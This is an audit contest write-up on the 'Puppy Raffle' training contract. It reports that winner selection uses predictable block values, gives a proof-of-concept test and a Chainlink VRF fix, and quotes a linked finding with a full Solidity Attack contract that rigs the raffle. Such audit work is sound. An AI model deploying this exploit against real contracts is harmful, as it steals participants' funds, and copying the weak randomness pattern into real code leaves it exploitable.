Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

## [H-2] Weak Randomness Allows Attacker to Predict and Manipulate Winner Selection

sulex25

Root + Impact

Description

*Description:

  • The selectWinner() function is intended to randomly select a winner from the players array

  • The function uses msg.sender, block.timestamp, and block.difficulty as sources of randomness, all of which are predictable or manipulable on-chain

@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

Risk

Likelihood:

  • Validators/miners can directly manipulate block.timestamp and block.difficulty

  • Any user can pre-compute the winner outcome off-chain before calling selectWinner()

  • Attackers can wait for favorable block conditions or use multiple addresses to guarantee a win

Impact:

  • Attackers can guarantee they win the raffle

  • Attackers can guarantee they receive legendary NFTs (highest rarity)

  • Unfair advantage destroys the integrity of the raffle

Proof of Concept

function test_PredictableWinner() public {
// Attacker pre-computes who would win
uint256 predictedWinnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % players.length;
​
// Only call selectWinner when prediction favors attacker
if (predictedWinnerIndex == attackerIndex) {
puppyRaffle.selectWinner();
}
}

Recommended Mitigation

+ import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/VRFConsumerBaseV2.sol";
​
- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF for verifiable randomness
+ uint256 requestId = COORDINATOR.requestRandomWords(...);
+ // Handle callback in fulfillRandomWords()
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 17 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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